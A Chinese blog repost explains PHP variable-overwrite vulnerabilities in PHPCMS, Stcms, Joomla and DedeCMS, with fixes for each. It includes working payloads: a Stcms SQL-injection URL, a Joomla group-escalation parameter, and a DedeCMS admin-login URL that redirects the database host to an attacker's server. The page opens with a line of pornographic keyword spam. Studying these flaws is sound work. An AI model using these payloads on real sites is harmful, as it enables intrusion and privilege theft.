日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

php之变量覆盖漏洞讲解

發布時間:2024/4/17 php 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php之变量覆盖漏洞讲解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1.變量沒有初始化的問題(1):

wooyun連接1:[link href="WooYun: PHPCMS V9 member表內容隨意修改漏洞"]tenzy[/link]?

$updateinfo['password'] = $newpassword;里面的數組沒有初始化類似這樣的賦值,我們在挖洞的時候搜索類似updateinfo這樣的關鍵字看看?

是否初始化,如果沒有。。。且register_global=On支持?

可以提交?
updateinfo[amount]這樣的數組隨意修改自己的余額、點數、會員組、VIP等一切存放在member表的信息.?

修復:$updateinfo = array();

變量沒有初始化的問題(2):?
wooyun連接2:[link href="WooYun: Stcms的一個sql注射"]Zvall[/link]?
里面說明了繞過程序的防御,這個是導致注入的一個因素. 更多因素是因為where變量沒有初始化!?
case 'list':?
???
????$totalNum = $mysql->numTable("member", $where);
Where?沒初始化 導致可執行任意sql語句?
http://localhost/stcms_html/member/u.php?action=list&where={sql}

修復:在類調用前加上$where='';

我們在挖洞的時候搜索類似where這樣的關鍵字看,看看是否初始化.?

變量沒有初始化的問題(3):?
wooyun連接3: [link href="WooYun: joomla變量覆蓋導致注冊提權漏洞"]牛奶坦克[/link]?

// 這個地方獲取用戶注冊信息,POST進來的jform數組,但是沒有詳細指定?
$requestData = JRequest::getVar('jform', array(), 'post', 'array');?

$data = (array)$this->getData();?
// 遍歷出注冊信息?
foreach ($temp as $k => $v) {?
$data[$k] = $v;?
}
看似沒問題的可是二維數組的特性可以覆蓋住:?
jfrom[groups][]=7,利用foreach的問題覆蓋掉groups數組,變成7(Administrator)。?
修復:像wooyun連接1那樣$updateinfo['password'] = $newpassword類似這樣賦值。 或者檢查數組是否為二維。?

2.核心代碼配置問題引發變量覆蓋:?
Dedecms:例子(1):?
一. 了解PHP超級全局變量?
????????下面是PHP的超級全局變量,可以了解一個特性,全是數組。?
????????$GLOBALS, 所有全局變量數組?
????????$_SERVER, 服務器環境變量數組?
????????$_GET,通過GET方法傳遞給腳本的變量數組?
????????$_POST, 通過POST方法傳遞給腳本的變量數組?
????????$_COOKIE,cookie變量數組?
????????$_REQUEST,所有用戶輸入的變量數組,包括$_GET, $_POST和$_COOKIE所包含的輸入內容?
????????$_FILES,與文件上傳相關得變量數組?
????????$_ENV,環境變量數組?
????????$_SESSION,會話變量數組?

二:理解$_GET變量
?
可以寫個PHP來看看:?
<?php?
????????var_dump($_GET);?
?????????>

訪問?
??????http://www.xxx.com /test.php?key=value
????????得到?
??????array(1) { ["key"]=> string(5) "value" }
????????OK,看到這里應該明白了,$_GET就是個數組,我們用GET方法可以傳一個數組。?
?????????

????????再訪問?
??????http://www.xxx.com /test.php?key[arr1]=value
????????得到?
??array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
????????我們通過GET方法傳入了一個嵌套數組。?
?????????

????????????????????????到這里其實問題就出來了,很多PHP安全資料都沒提過GET傳嵌套數組的這個特性,偶爾在幾個exploit里看到 - -!?
?????????????????????????

????????????????????????三. 深入跟進DEDECMS全局變量注冊漏洞?
?????????????????????????

????????????????????????真正理解了$_GET變量后,我們來深入跟進這個漏洞產生的真正原因,模擬一下漏洞的全過程:?
?????????????????????????

????????????????????????提交一個嵌套數組:?
??????????????????????????????????????????http://www.xxxx.com /test.php?_POST[GLOBALS][cfg_dbname]=X?
?????????????????
????????????????????????????????????????????????????????????????????????array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=>?

array(1) { ["cfg_dbname"]=> string(1) "X" } } }?????

?????????????????
?????????
?????????
????????????????????????假如數據傳入了DEDECMS程序,在第一層過濾,DEDECMS會檢查$_REQUEST里有沒有全局變量的關鍵字,但我們的KEY?

是_POST且是個數組,所以輕松繞過。?
????????????foreach($_REQUEST as $_k=>$_v)?
????????????????{?
????????????????if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )?
????????????????{?
????????????????????????exit('Request var not allow!');?
????????????????}?
????????????????}???

????????????????????????接著進入真正的注冊變量流程,按順序是先從$_GET變量注冊的,我們的KEY是(_POST),第一輪遍歷$_GET成功注冊?

了變量$_POST,第二輪遍歷$_POST成功注冊了變量$GLOBALS !?
????????????????????????????????????????????????foreach(Array('_GET','_POST','_COOKIE') as $_request)?
????????????????????????{?
????????????????????????foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);?
????????????????????????}
?????????
????????????????????????到這里漏洞的原因就清楚了,程序通過$_GET注冊了$_POST,通過$_POST注冊了$GLOBALS!?
?????????????????????????

?????????
????????????????????????四. 領悟漏洞后的修補?
?????????
????????????????????????完全領悟這個漏洞后,就會知道怎么修補了。?
?????????
????????????????????????1. 可以看看DISCUZ是怎么做的,當發現KEY的第一個字符存在_就不注冊變量。?
?????????????????????????

??????????????????foreach(array('_COOKIE', '_POST', '_GET') as $_request) {?
????????????????foreach($$_request as $_key => $_value) {?
??????????????????$_key{0} != '_' && $$_key = daddslashes($_value);?
????????????????}?
????????????????}
?????????????????????????

????????????????????????2. DEDECMS可以用下面的方法臨時修補,當遍歷$_POST注冊變量,發現變量名存在GLOBALS就會阻止注冊變量。?
????????foreach(Array('_GET','_POST','_COOKIE') as $_request)?
????????????????????????{?
???????????????????????????????? foreach($$_request as $_k => $_v) {?
????????????????????????????????????????????if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){?
????????????????????????????????????????????????????exit('Request var not allow!');?
?????????????????????????????????????????? }?
????????????????????????????????????????????${$_k} = _RunMagicQuotes($_v);?
????????????????????????????}?
????????????????????????}



例子exp:http://www.xx.com/織夢網站后臺/login.php?dopost=login&validate=dcug&userid=賬號&pwd=密碼& _POST[GLOBALS]?

[cfg_dbhost]=MYSQL外鏈IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的賬號&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密碼& _POST[GLOBALS]?

[cfg_dbname]=自己的dedecms的數據庫

Dedecms:例子(2): 突破官網補丁(雞助)?
0x5sec?

為什么超全局變量$_REQUEST沒有讀取到$_COOKIE的參數呢?這個是php 5.3以后php.ini默認設置?
request_order = "GP",所以你懂的!如果你修改request_order = "GPC",$_REQUEST應該就可以接受到參數了!?
所以如果php是大于5.3的,變量覆蓋漏洞應該可以再次利用!
?

CheckRequest($_REQUEST);?? //這里檢查變量是否合法 漏洞缺陷!$_COOKIE的參數根本不鳥他。。。?

更多連接:https://forum.90sec.org/thread-2476-1-1.html?

https://forum.90sec.org/thread-2468-1-1.html?


3.Yaseng php變量覆蓋實例:?
Yaseng?介紹得很詳細了,各種突破.?


對于Dedecms例子2中:有部分人說& _POST[0xHEX 16進制][cfg_dbhost] //GLOBALS這樣能繞過? 本人測試多次不成功,可能是某些問題,也可能?
是假的.?

原文地址:http://zone.wooyun.org/content/1872

轉載于:https://www.cnblogs.com/milantgh/p/4087957.html

總結

以上是生活随笔為你收集整理的php之变量覆盖漏洞讲解的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。